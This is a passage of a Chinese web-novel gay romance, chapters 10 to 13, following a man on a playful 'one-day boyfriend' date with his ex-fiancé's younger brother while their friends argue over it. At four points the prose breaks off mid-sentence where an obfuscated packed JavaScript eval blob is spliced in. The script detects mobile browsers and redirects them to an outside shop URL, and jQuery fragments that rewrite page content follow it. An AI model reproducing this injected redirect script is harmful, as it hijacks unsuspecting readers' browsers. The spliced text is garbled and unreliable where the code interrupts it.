周围路过的客人立刻被这辆车吸引了,纷纷投来艳羡的目光。 谢玉承有点恍惚。 “阿也,来这里干什么?”他问道。 好像有口气一直憋在心里,段也长长出了口气,转过头看向他。那本来桀骜不驯的目光里,此刻多了一丝温柔。 谢玉承从来都猜不透他的心思。 严格来说,没人能猜透段也心里在想什么。 他和楚深本该没什么交集,和胖子也本该没什么交际,可偏偏,他投资了楚深的摄影工作室,又在胖子的事业低谷期拉了他一把。 这些钱对段也来说是小事,但对那两个人而言,足以维持梦想。 楚深能把他那破工作室开起来,勉强维持温饱,胖子也能靠着漫画实现经济自由,买了房又求了婚。 “出门前,你在想什么?”段也问道。 谢玉承心不在焉地说道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582867|142318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见你的朋友,或者投资伙伴?” “让你当陪衬当花瓶?”段也忽然向他伸出手,指尖碰了碰他的耳坠,“哥,我不是段三火,你能别拿他那套来想我吗?” 不是……那是什么? “你说你有工作要忙,可应该也不急这一时吧?我想带你出来散散心,别满脑子都是那个人。”段也道。 到这个时候,谢玉承都还是觉得没什么。 确实,他虽然对分手这件事看得很开,但心里总还是有点空落落的。如果不找点事情来做,他怕自己会止不住地想起那些不开心的事。 “可散心的话,应该也不用特地收拾吧。” 段也在他耳边打了个响指,“为什么不用?你以前把自己拾掇地那么好看,是为了吸引男人?” 怎么不是呢? 谢玉承在心里想,但没敢说。 “哥,你知道忘掉前一段感情最快的办法是什么吗?” “是什么?”谢玉承问。 “你等我一下。”段也说道。 他下了车。 谢玉承跟着下了车,他靠在车边,热浪席卷起额前的发丝,明媚的阳光落在他身上。 他想起自己还在小文的店里定了婚礼当天的花,看来用不上了。 指尖的烟徐徐燃着,他为段也来到这里的原因想了很多。总之是要买花的。 买给谁呢?女朋友?追求对象? 叫自己来,大概是为了给他当僚机。 他能想到的就这么多。 段也从花店里出来,怀里抱着一束比他肩还宽的玫瑰。那玫瑰在阳光底下变得极为鲜艳,每朵花上都还带有细细的水珠。 很羡慕。 谢玉承想,像段也这样的男人,多金、细心、会做饭还懂浪漫,能够被他喜欢,简直太让人羡慕了。 “阿也……”他低声唤道。 段也走到他面前,顿了一秒,而后将花递给他。 “哥,送你的。” 10.第 10 章 送你的。 这三个字把谢玉承听懵了,他觉得自己脑子里现在就是一片浆糊,搞不清楚眼下到底发生了什么。 为什么段也会给自己送花。 一束美丽且昂贵的。 这些年来,他收到的第一束花。 段也不好意思地在他面前挠了挠耳根,“哥,小文姐说,忘掉上一段感情的最好方式是开启下一段感情,我觉得她说得很有道理。” 段也喜欢自己? 这个想法一旦出现在脑海,谢玉承第一反应是抗拒,他没办法突如其来的接受来自前任弟弟的告白,更没办法真的在这么段的时间里投入下一段感情。 “我有个想法。”段也道。 “别说!”谢玉承吓得后退一步,腰抵在车门上,脸上浮现出恐惧来。 段也的手停在半空中,目光挪到一边,眉头微微皱起,“哥,我想你应该误会了。” “……” “我只是不想让你的注意力停留在段三火身上,你和他在一起这么多年,受的全是委屈,我就想告诉你男朋友真正应该做的是什么。” “……阿也,我不想知道。”谢玉承哑声道。 段也叹了口气,“哥,我是直的,溜直,你放心了吗?” 谢玉承咬着下唇,不说话。 段也只好举天发誓,“我发誓,我是直的,不直我一辈子找不到女朋友!” 也就是谢玉承现在有点迷糊,一时没反应过来段也说这话有什么问题,只觉得在听到段也说自己是直男的时候松了口气,心里好受了起来。 “你吓坏我了阿也,说真的,你直直的,比什么都好。”谢玉承抱着花的手紧了些,浅笑着问道:“所以,你刚才想说什么?” “不是已经说了吗?想让你知道什么是一个合格的男朋友。” 谢玉承不咸不淡地嗯了一声,“然后呢?” “然后就是。”段也往他靠近一步,两人之间的距离隔着玫瑰,他往前探身,越过玫瑰的花香,在他耳边轻声问道:“可不可以做我的一日男友?” “这话其实应该反过来说。”段也笑着补充道:“应该是,能不能让我做你的一日男友?” 谢玉承大概明白了他的意思,不过就是想通过这种办法来把段三火彻头彻尾地比下去。 这俩兄弟之间的较劲无处不在,段也一门心思地要把段三火给衬托的一无是处,就连感情上也要插一脚。 好幼稚。 好可爱。 谢玉承忍了许久,最后却还是没忍住噗嗤一声笑出来,几乎要把脸埋进玫瑰花里。 “哥!”段也急了,“你笑什么!行不行好歹给个准话啊!” “行——行——怎么不行呢——小阿也,你怎么这么乖呢?”谢玉承拖着嗓音笑得上气不接下气。 他舍不得放下花,就这样掏出手机,打开倒计时。 “12个小时,够了吗?” 段也挑眉无奈道:“哥,我知道学美术的数学不好,可你这一天直接给我砍半了,算怎么回事啊?” 谢玉承摁下倒计时,微微垫起脚,仰着下巴笑道:“另外12个小时,我想留着下次再用,可以吗?男朋友?” 这几乎等同于索吻的动作让段也差点疯了,他先一步拉住谢玉承的手,收敛起那些藏在心底里以假乱真的心思。 “男朋友觉得,可以。” · 花店装潢干净精美,小文是个典型的南方姑娘,个子小小的,不到一米六,她穿着围裙,头上带着碎花头绳,笑起来脸上有两个小小的酒窝,眼睛像弯月,脸颊上长着很可爱的雀斑。 谢玉承经常会觉得胖子配不上她。 可话又说回来,人家小文喜欢,两口子感情稳定,相互鼓励扶持,轰轰烈烈虽然没有,但有岁月静好。 谢玉承很羡慕他们这种状态。 花店隔了个二楼小平台出来,小文在桌上放了一壶花茶,里面泡着茉莉。 “段也昨天就给我发信息,说是让我给他弄最好的玫瑰过来,这一束三千多,我包的时候都小心地不能再小心,还叫胖哥离我远点,生怕他给花踩瘪了。” 小文支着下巴,对着那束花流露出羡慕的神色。 花的价格其实不重要,毕竟再好的花也只能盛开几天,可对收花的人来说,价格与真心成正比,没人会在收到这样一束花的时候还能保持头脑清醒。 工作空闲的时候,胖子也会来店里帮帮忙,这时候后他正和段也在一楼整理花材。 从二楼向下望去,段也站在几桶花材中央,一身干净的黑T长裤,马丁靴把本就长得过分的腿衬地更长了,他有点痞气,平常总带着些不耐烦,对待进来选花的客人也爱答不理的。 然而他光是站在那里就是活招牌,已经骗了不知道多少小姑娘进来看帅哥。 “听说你分手,我可担心了,也就胖哥他们傻乐。”小文说道。 谢玉承:“能够理解,他们一向希望我分手。” 小文嘟囔道:“可他们就没有考虑过你?临近结婚突然分手,什么婚纱照花材酒店都差不多快定好了吧?想想我就替你担心,这些乱七八糟的的事情得花多少时间啊。” “我倒不是替你感到可惜哈!能在婚前发现问题是最好的,就是你本来就是嫌麻烦的人,这么多事,你得受多大委屈才愿意提分手。” “说起这事,花材的定金你就不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592809|142318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用退了,深儿那边我也没让退。”谢玉承道。 小文不肯,“这怎么行!肯定是要退你的!” 谢玉承笑道:“行了,我又不是不结婚了,等下次结婚的时候还得找你。” 听到这,小文放心下来,“你能这样想最好不过了,不就是分手,人总得往前走的。那什么……” 她那双月牙儿似的眼睛里迸发出好奇的光芒,“你和段也,那什么……” 谢玉承惊了一跳,“姐!不是你想的那样!阿也是直男,我现在也没有要谈恋爱的打算,目前也只是暂时住在他家里,过段时间我还是会搬出去的!” 空气安静了一阵,谢玉承后知后觉地意识到自己刚才的反应似乎有点太过激了。 小文笑了一声,“好好好,你们要留下吃饭吗?我叫胖哥去做饭。” 这话让段也听到,仰着头冲她喊道:“文姐!不麻烦你们!我带我哥出去吃!” 胖子拉着他不放,“这有什么麻烦的!来都来了,好歹吃顿饭再走!” 段也一边扯一边拉着嗓子喊:“哥!哥!哥——!” “来了,叫魂啊。”谢玉只好无奈地向他们告了别。 车内的空气有些沉闷,段也很快摁开了空调。 升起的窗户隔绝了内外的视线,谢玉承笑着问道:“男朋友,现在你打算带我去哪里呢?中餐、西餐、还是泰餐?” “男朋友准备卖个关子,吃什么你就不用管了好吧,一定包你满意。”段也道。 谢玉承一直都不喜欢为吃什么都头疼。 他嫌麻烦,认准的店会吃上很久,认准的酒吧会一直去,这样可以减少很多思考的时间。 之前,他很少和老段出门约会,上一次是什么时候,已经记不清了。老段比他还大上两岁,在感情方面古板又无趣。 冷气吹走了车内的沉闷。 段也侧过身,忽然靠得很近。 谢玉承倒吸了一口气,将背部死死贴近了靠背,闻到玫瑰花香混合着段也身上的皂香味。 手支撑着座椅温热的皮革,他能看清段也头顶的发旋,目光能描摹出那张锋利又带着桀骜的脸。 他看到段也小心地拉过他身侧的安全带,动作温柔又克制。 ‘啪’—— 段也重新坐了回去,剥了一颗薄荷味的口香糖放进嘴里,能看出他些许的紧张。 “那个,哥,其实我还没谈过恋爱。” 谢玉承迷迷糊糊地嗯了一声。 段也勾起唇角,眸光明亮,“我会尽力让你满意,可如果哪里做得不够好,你记得告诉我。” “我改。” “等下次再做你男朋友,我会做得更好。” 11.第 11 章 早饭吃得太晚,临近两点的时候段也带他去了一家三环外的私房菜。 私房菜的就餐时间一般不会超过两点,这时候本不应该接待他们,不出意外的话,这家店又是段也的投资。 经理为他们选了一个靠窗并且安静的角落。 从落地窗向下望去,餐厅的庭院是纯中式风格的,中间有一道人工溪流,溪流里种着几簇荷花,两侧是郁郁葱葱的景观竹,阳光穿过叶片的缝隙,地上的光影斑驳陆离。 午餐是今日特别供应,融合料理,中西结合。 饭后甜点中有一道酸奶。 按理说应该是手工酸奶才对,可服务生拿上来的却是一瓶常见于各大商超里的品牌酸奶。 看上去有点廉价了,为了让顾客觉得物有所值,至少也应该换个包装才对,可不仅包装没换,服务员还特别用展示香槟的手法在他们面前晃了一圈。 段也有些尴尬道:“行了,放下吧。” 冷藏过后的酸奶包装上挂着几滴冷凝水,谢玉承憋着笑,想看他能说出点什么名堂来。 “这瓶酸奶其实是今日特供,不算在菜单里的。”段也道。 谢玉承微微颔首,“最好是,要不然人均八百的私房菜,让客人吃普通流水线产品应该会很掉价。” 他接过那瓶酸奶,不觉得有什么特别的地方,总之就是最普通的超市商品,平常还会搞买五送一的活动。 他翻过一面,神情微变。 酸奶的背面没什么特别之处,但从正面可以看出是和某部动漫的联动产品,有着精美的人物立绘。 “这不是之前他们找我约的稿吗,最近是铺到线下了?”谢玉承抬起头,惊讶道:“不过你是怎么知道的?” 他接稿都是用的化名,而且联动活动基本都会签署保密协议,画手不能在互联网上发布相关稿件。 段也怎么会知道是他画的? “看一眼就知道了,毕竟我屏幕上就放着哥哥的画,每天打开手机就能看见,想不熟悉哥哥的画风都难。”段也笑着点亮自己的屏幕。 其实两幅画风格迥异,光论对比画风很难看出来是出自同一个人。谢玉承这些年为了还债接了很多乱七八糟的稿件,他又是很少和甲方争辩的人,不会特别执着于个人风格,因此这么多年的作品看下来风格变化非常巨大。 想要通过画风认出他的作品是很困难的,除非是一直关注他的老粉丝。 可就算是老粉丝,大概也不会知道这幅作品对他来说有什么意义。 他的手指细细摩挲着酸奶包装。 这个甲方开出的价格其实不高,优点是打钱特快,当那笔尾款打进他账户的时候,他彻底还清了身上挤压多年的债务。 他已经记不清那天的心情了,只记得那天他手里还有别的稿子要画,收到钱后默默给品牌方道了句谢,以极其娴熟的手法将钱转进了还款账户,然后继续开始工作。 就连当时也不曾拥有过的情绪波动,可不知道为什么,在他看到这瓶酸奶的时候,那天被压下的情绪一股脑地全涌了出来。 就好像,被强制按下暂停键的人生终于可以继续前行,而未来,这个对曾经的他来说无比灰暗的字眼,终于带上了一点绚丽的色彩。 他终于可以不被过去禁锢在原地,终于有勇气去期待未来。 “我妈走得早,我爸在老家开彩票店,一年的收入也只够温饱的。” 谢玉承吸了吸鼻子,唇角勾着笑,嗓音却带着哽咽。 “我妈走后,我和我爸的关系越来越不好,他不太喜欢我,几乎把我当做是累赘,嫌我耽搁了他找女朋友。每个月他给我很少的生活费,为了省钱,从小学开始我就读住校,老师们都很关照我,学校每年的补助名额都会给我。” 他咬着酸奶瓶口,只觉得牙尖都是酸的。 “可我是个死要面子活受罪的人,我不想让别人知道我家里穷,周末或者放假的时候我会去干点小工,可年纪太小,只有认识的画室老师肯收留我,让我在画室里帮忙洗颜料盘或者画笔什么的,打点杂。” “学艺术,很费钱,你应该很好奇我是怎么考进美院的。”谢玉承望向窗外。 段也轻轻牵过他的手,有点心疼,但不敢说出来,怕他伤心。 谢玉承回握住他,耳边的耳坠在阳光下反射出淡淡的光,侧脸被阳光笼罩,另一半藏在阴影中。 餐厅里有一架三角钢琴。 “阿也,可以弹琴给我听吗?”他问道。 段也没有犹豫,拉着他坐到钢琴前。 这个点的餐厅只剩下他们,经理特地给他们留下独处的空间,四周空旷,琴声灵动。 段也修长的指尖在琴键上跃动。 那是一首极为温柔的钢琴曲,像春天淅淅沥沥的雨声,又像夏天阴影中凉爽的风,能让心沉淀下来。 谢玉承轻轻靠着他的肩,闭上眼睛,“你知道傅全吧,美院现在的院长。说起来一切都很巧合,那时候,他老婆就在咱们那个县城里当美术老师,我就是在她的画室里打工的。” “说是打小工,其实还蹭了很多节课。那时候我满脑子都想着要离开那个小县城,想要去大城市,可我的家庭不能支付起我的大学费用,更别说是学艺术,我想让他们资助我,于是更加努力地在他们面前赚存在感。” “小小年纪,就有那么重的心机,我觉得我这人挺糟糕的。”谢玉承笑了笑。 琴声稍顿了一下,段也心疼地叫了声哥。 谢玉承摇摇头,示意他继续,“男朋友,别停。” 琴声在周围像波纹那般荡开,那股让人安心的皂香味让他的神经渐渐平静下来。 即便是回忆起那些最糟糕的过去时,他的心情也依旧平静。 “大一到大三,一直半工半读,后来听说可以在网上接稿,生活还算宽裕起来了,再后来又顺利保研,我都以为我的人生真的要好起来了。可你知道的,像我这种人,就不配过舒坦日子,一好起来就会马上坏掉。” 就像没有常温保存的牛奶,隔了夜,看上去成色上佳,其实喝起来已经酸了。 “我爸投资失败,欠了三百多万,还把房子卖了,直接消失得无影无踪。债主找上门,在学院大吵大闹,报了警也无济于事,那笔账,只能算到我身上。” “可能对你来说,三百多万算不上什么,可对我来说是笔天文数字。我不敢表现出来,让别人觉得我多可怜,多脆弱,就像当年不肯接受助学补助一样,我只能靠自己,一笔一笔地填上那笔窟窿。” “再后来,你应该就都知道了。” 那时候也就是个二十岁出头的年轻男大,还没怎么见过世面,得知那三百万的时候觉得那是一笔一辈子都还不完的数字,脑子里连怎么死都想好了。 也就是楚深他们几个看似混蛋其实确实有点混蛋的玩意儿,明里暗里地把他开导出来,又是要偷偷给他凑钱又是陪他一起打工的。 尤其是楚深,就连晚上睡觉都不敢让他一个人睡,非得把两个人之间隔着的床帘剪了,每天晚上都陪他聊天,怕他用枕头捂死自己。 “别人都说我和你哥在一起是为了钱,一开始是有这种想法,但事实证明是我想太多了,你哥背的欠款可能比我还多,也就是他背靠着段家,没人找他要债而已。” 谢玉承慢悠悠走下台阶,瘦削的肩胛骨支撑着薄薄的衬衫,挺直的脊椎在日光灯下若隐若现。 “走了,阿也。” 话音刚落,一双温暖的手从身后将他捞进怀里。 男人的呼吸喷薄在他颈窝里,短发微微刺痛了他的皮肤。他能感觉到段也的身体贴紧了他的后背,体温透过薄薄的衬衫传递给他。 谢玉承觉得耳根有些痒,往一侧偏了偏头。 “哥。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603847|142318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”段也的声音闷闷的,“如果一开始就是我,该多好?” 谢玉承看着外面刺眼的阳光,阳光落进餐厅,刚好停在他的脚尖前方。 段也这是……入戏太深了吗? 他想要提醒,可却怎么都说不出口。 “哥,你跟我来。”段也牵起他的手,带着他迈进了那肆意的阳光里。 竹影幽深,蝉鸣聒噪,几朵荷花随风摇曳。一条街的国风建筑,他们走了几步就到了旁边的高级商超。 品牌的联动营销活动正在举行,高级商超门口摆放着印有联动立绘的广告牌。 超市门口就是酸奶的特别展示柜,动漫粉丝排着队在这里为自己的喜欢买单。 购买一箱酸奶还附赠联动徽章,另外还可以和超市请来的coser合影。 他们走进队伍里,段也从身后抱住他,撒娇般把下巴搭在他肩上。 公开场合这样亲密的举动让别人不免侧目,更何况他俩的长相在人群中简直太过惹眼了,而段也又高,他若不是弯着腰,估计能看到在场所有人的头顶。 “前面那个归你,后面那个归我!” “滚呐,看不出来人家是一对吗?” “万一不是呢!!我先冲了!” 长得一脸乖巧的小男孩忽然凑到他们身边,红着脸把手机拿出来,对着段也打了个招呼,“帅哥,可以加个联系方式吗?” 段也朝着谢玉承抛去一个求助的目光,用下巴在他颈窝里蹭了蹭。 谢玉承被他弄得很痒,夹着脖子笑道:“他是直男,真的,溜直!” “啊,对对对,我是直男。”段也附和道。 男孩看着他俩的样子犹豫了一会儿,随后又把手机递给谢玉承,“那可以加个你的微信吗?” 段也动作突然停了,目光骤然变得阴鸷起来,他将谢玉承挡在身后,冷声警告道:“当我死的啊?” 男孩被他吓得后退了一步,不情不愿地离开,嘴里嘟囔着道:“刚才不还说是直男吗?神经病。” 等他走后,谢玉承实在忍不住笑出声。 “阿也,这人一看就是0好吗?撞号了,你担心什么啊?” “我以为你不是纯0呢?”段也这下把他搂地更紧,生怕别人看不出他们的关系。 谢玉承深吸了一口气,把笑给憋回去,“那是因为老段,他不行只好我上,我也想啊,就是他不愿意,他不乐意当下面的。” “他最好是不乐意,别是阳痿加痔疮,那他就完蛋了。” “?” 段也愣了一下,露出不可置信的表情,“不、会、吧。” 队伍终于到了他们,谢玉承怕自己再提这事能给自己笑死,急急忙忙去提着一箱酸奶去找coser合影。 “小姐姐,可以帮我们拍张照吗?” 导购员热情地接过手机,对准他俩道:“可以再亲密一点哦!” “对对对,就是这样!” 随着咔嚓一声,仿佛过去一切的不好都已经消失在了往昔的烟尘里,闪光灯亮起的那一刹那,今后的每一天,都比昨天要好,比今天要好,会一天比一天更好。 谢玉承拿回手机,看着照片里他们笑容璀璨的模样,心中莫名洋溢起幸福感,虽然眼下有些关系是假的,但现在的感觉是真的,他感到快乐,嘴角止不住地扬起笑意。 正要走,段也又轻轻把他拉回来,把自己的手机递给导购员,“麻烦帮我也拍一张,谢谢!” 虽然不明白为什么同样的照片要拍两张,但谢玉承还是欣然配合了他。 导购员念起倒数数字。 在按下快门键的前一秒,段也忽然凑过来,在他侧脸上落了一吻。 转瞬即逝的触感。 可时间却像是停滞了。 “哥!”段也站在阳光底下,举起手里的酸奶朝他晃了晃,“分手快乐!” 12.第 12 章 快到关门的时间,胖子正收拾东西准备锁门,一辆破捷达突然停到他面前。 “等会儿关!”楚深冲过来。 身后还跟着一身酒味的董行书。 平常董行书是最体面的一人,西装领带金丝眼镜,看上去最是斯文,这时候刚进花店就冲厕所吐了。 小文擦着手出来,指着厕所问:“他这是怎么啦?” “失恋!”楚深拎了一打酒进来。 胖子催促着他把酒放下,“你有病啊深儿!我和我老婆要回家了!你这时候提酒来干嘛!” “那什么,嫂子你能自己回去吗?我们仨要来场兄弟夜谈。”楚深拎着酒就往上走,“顺道能给我们点个外卖吗?我要小龙虾。” “你耳朵聋了!老子叫你把酒给我弄出去!”胖子发了火,砰地一下将门关上。 一个小时后,楚深灰头土脸地出现在胖子家楼下,董行书蹲在他边上朝着下水道一顿干呕。 等胖子把老婆送回去后,他仨就在路边一人拎了瓶酒。 “来,先漱漱口。”楚深先灌了一口。 胖子坐在董行书身边,还想叫他别喝了,哪知道董行书很自觉地仰头灌了半瓶。 他彻底无语了,“行了,什么事?” “给你说他失恋了。”楚深一本正经道。 胖子用看傻逼的目光看着他,“他不是早失恋了吗?” “别听他吹。”董行书埋着头道:“我今天是陪客户,喝了两瓶白的,刚出餐厅就被他拽过来,谁知道他发什么疯。” “你不知道我理解,可是胖子,你别给我不懂装懂,你能不知道我来是为了啥事儿?”楚深怒道。 胖子脸色微变,嘀咕道:“你经常发疯,谁知道你今儿咋了。” 楚深冷哼一声,“那你看看咱们这儿缺谁?” 董行书掏出手机,“我给玉承打电话!” “把手机给我收起来!你是真不要脸啊,他宁肯和段也那小子眉来眼去也不肯给你个机会,你还眼巴巴往上凑,是不是贱!”楚深恨铁不成钢地骂道。 董行书攥紧了酒瓶,“你他妈再骂一句试试!” 两人喝多了吼起来,惊动了楼上的居民,一个老太太探出头对着他们就是一顿破口大骂。 胖子好容易给调停下来。 “行了行了,不就是为了老谢的事儿吗?他要分手,要谈恋爱,这都是他的自由,他这些年过成什么屌样,别人不知道咱们还不知道吗?只要他开心,那我就祝福他。” “是、是,他要谈恋爱,没谁拦着他,他要分手我给他放八条街的鞭炮。”楚深点头道:“可是他脑子是有病吗!和段也?!” 董行书把酒瓶放地上,“他俩成不了,老谢不可能干这事儿,他要面儿。” “面儿,你看看这是他面儿?” 楚深打开段也的朋友圈,里面第一条就是他和谢玉承的合照。 一起吃私房,一起参加联动,一起看视觉艺术展,晚上还一起看了音乐会。 这不是约会是什么。 “这还没完。”楚深道。 他挂上梯子,进入推特,翻到谢玉承的账号。 除开没有发合照外,其他都是同样的内容。 [分手快乐~] 胖子拿过来看了看,“你干嘛老是天天视奸他俩,不过这些内容也没什么啊,就是正常出去玩。而且这天我知道,半个月前的事情了,你怎么今天才翻到?” “我天天忙得像条狗,谁关心他的私事!”楚深骂道:“而且我不是为了这些东西来的!你以为老子真这么敏感!” “那是什么?”胖子和董行书齐声声问道。 楚深先喝了口压压惊,随后点开一个没有头像,名字是乱码的账号。 [在爱你的第2000天] 配图一张是玫瑰,一张是和朋友圈中类似,但打了个薄码的合照。 隐隐约约能看出他亲吻的动作。 董行书把手机抢过来,“他们……他们这是,在一起了?” 这回轮到楚深否认了。 “别想了,这事儿没可能,我甚至都怀疑这图是段也P的!” 胖子惊讶道:“不是,你怎么就这么确定这人是他?账号里只有一条内容啊。” “那是因为他发一条隐藏一条,你每次看都只会有一条消息!”楚深振振有词道:“而且这号我前年就翻出来了,观察了很久才能确定是他!” “深儿,我不太明白,说句实话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612963|142318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我当然更支持老谢和舍长在一起,可老谢如果真的喜欢段老二,那他俩在一起又怎么了呢?你们觉得不好,无非就是因为段老二的身份,段家最宝贝的少爷,未来段氏的继承人,还是段焱这个前任的弟弟。” 胖子扶着额头,十分艰难地说道:“谁都可以不同意他俩,但我俩,我俩没资格说这话。段也是因为喜欢老谢才给咱俩出资,你有了工作室,我也赚到钱了,总不能吃着奶骂着娘啊!这多没良心啊!” “谁他妈是我娘了?!”楚深来了点酒劲,朝着胖子身上狠狠拍了一巴掌,“你就是被段老二拿钱收买了,是,你事业有成,家庭圆满,马上结老婆住新家,谁他妈不羡慕你!可不管怎么说,我是为了老谢着想!” “你说是吧,舍长?” 董行书这时候有点酒醒了,扶了扶眼镜道:“失恋了。” “啊?” “是你失恋了才对吧?”董行书颠着酒瓶,眼底晦暗不明。 楚深被他那副样子盯地发怵,打了个哆嗦支支吾吾道:“放你娘的屁!老子恋都没有,怎么失恋!” “你明知道玉承和段老二没可能,他这人什么性子咱们最清楚,他连助学补助都不要,债主找上门的时候他躲着哭了三四天,回头愣是装作屁事没有。他怕被人笑话,被人戳脊梁骨,这头和段三火分手,转头就和段老二搞在一起,这事儿他做不出来。最重要的是,虽然我不知道为什么,但玉承一直很肯定段老二是直男。” 被董行书这一顿输出,楚深算是认栽了。 “操,话都让你说了,我他妈说什么?” “所以,是你失恋了,拿着玉承当借口来喝酒。不叫他出来,是因为他知道你失恋对象是谁。”董行书说道。 楚深彻底没词了。 “卧槽!舍长!你福尔摩斯啊!这都让你看出来了!”胖子一拍脑袋,恍然大悟。 转眼,他俩就看到董行书掏了手机出来,拨通了谢玉承的电话。 “别别别!”楚深大声嚷嚷着去抢手机。 电话被秒接,一道懒洋洋的声音传过来。 不是谢玉承的。 “哥哥,谁这么晚给你打电话?” 三人同时打了个哆嗦。 肉麻。 13.第 13 章 从柜子里挑了一张老唱片出来,段也将唱针拨到合适的位置。 夜晚与黑胶最搭,尤其外面还有淅淅沥沥的雨声,搭配上暖光落地灯,尤其显得浪漫。 谢玉承在沙发上敷面膜,仰着头玩手机。他已经洗完了澡,身上有茉莉花沐浴露的香味,段也今天也用的他的沐浴露,还很不客气地从冰箱里拿了他一张面膜。 冷冰冰的触感,敷在脸上歪歪扭扭。 “哥。”他轻唤了声,走到沙发坐下,脚也放上去,把头直接枕在谢玉承的腿上。 像只大猫咪。 谢玉承已经习惯他没有边界感的样子,说了太多次都是无用功,现在已经彻底免疫难得责备,于是在段也说出下一句话之前,很自觉地放下手机替他把面膜整理好。 手指粘上粘稠的面膜精华,段也抓住他的手,指尖将那些残留的精华蹭掉。 “好了,起开。”谢玉承道。 段也像是没听见,掏了手机出来直接阻断了两人之间的视线。 “又在刷推是吧?”段也先入为主地问道。 谢玉承下意识遮掩自己的手机屏幕,“边上儿玩去。” 段也碎笑了几声,“害羞什么?以为我不知道你们gay在推上刷些什么吗?” “刷什么?”谢玉承漫不经心地问道。 他看了眼时间,将自己的面膜理了理,继续仰头躺着。 段也移开手机,眯着眼睛看他。 纤细的颈骨,几乎连绒毛都看不见的皮肤,侧颈上的痣。 明晃晃的勾引。 那一瞬间他很像践行那句不拒绝就是同意,想要在对方的皮肤上留下自己的痕迹,想要染红那颗痣的边缘,可理智反复拉扯着他,让他只能克制内心的欲望,装作乖巧的直男弟弟。 当然,弟弟有时候叛逆一点,也是很正常的。 哥哥会容忍他的。 段也的喉结上下一滚,壮起胆子说道:“紫薇、YP、撩骚,上推不就是干这些。” 谢玉承吓得一个激灵,手机直接砸在了段也的脸上。 “卧槽!哥!你有必要吗!”段也猛地捂住脸,疼地直吸气,“说点真话而已,又不是什么秘密,你至于谋杀我吗?毁容了怎么办?没人要我怎么办?你要我吗?” 他眼巴巴地等了一会儿,没等到自己想要的,于是又小心翼翼地透过指缝看过去。 谢玉承往旁坐了些,气息低沉。 “哥哥,疼。”段也委屈道。 谢玉承没理他。 他有点发怵了,想来想去,不知道怎么办,只好当做什么也没发生,显眼包似的又凑上去,“看啥片呢,给我看看呗,好东西得分享你知不知道?” “我看的东西,你不会感兴趣的。”谢玉承闷声道。 “谁说的?” “gay片,你又不是gay,看什么看?” 其实谢玉承只是单纯地随手刷刷帅哥的腹肌照,不可能在非私密场合上明目张胆地看片。 可他觉得段也太闹腾了,于是故意想把人吓走。 哪知道,段也不仅没害怕,还刻意往上凑,“谁说的?” 谢玉承没听清,“嗯?” 段也重新躺在他腿上,操着一把开玩笑的口吻说:“谁说我不是gay了?” 谢玉承不说话了。 段也:“看你小蓝。” 手机传来叮地一声,消息通知栏提醒他有人在小蓝里给他发了一条私信。 段帅:[帅哥,约吗?] 段帅:[茄子,185+,纯1] 段也:[发送了一张‘阅后即焚’] 谢玉承手抖点开了。 照片里是一张对着镜子拍的照片,段也咬着衣服,故意露出腹肌,浴室雾气缭绕,半裸的腹肌照性感到让人血脉膨胀。 “你注册这个干什么!”谢玉承微愠道:“好奇心能不能别这么重,你还是小孩子吗!” “那你注册这个干什么?我在附近刷到你了!”段也气鼓鼓地道。 谢玉承揭开面膜,气得一把揉进垃圾桶。他一张脸上水灵灵的,即便带着愠色也让人觉得是在勾引,“我注册这个不是很正常吗?” “正常什么?你是想去约了?”段也问。 “我未婚单身,约了又怎么样呢?这和你有什么关系呢?还是说你害怕我会把人带到家里来?放心好了,不会的。” 段也愣了一下,鼻子瞬间就酸了,呵笑道:“没啥啊,我就是想说,要是约的话记得戴套,别让他蛇里面……” “段老二!你疯了吗!”谢玉承听到那些字眼时浑身像是被一道电了一下。 “明明就是你疯了!小蓝上的男人有几个干净的?追你的那么多,你非得在上面找什么!” 谢玉承心口一滞,他其实没打算约,就是随便下载看看,没想到居然会被段也给逮住。 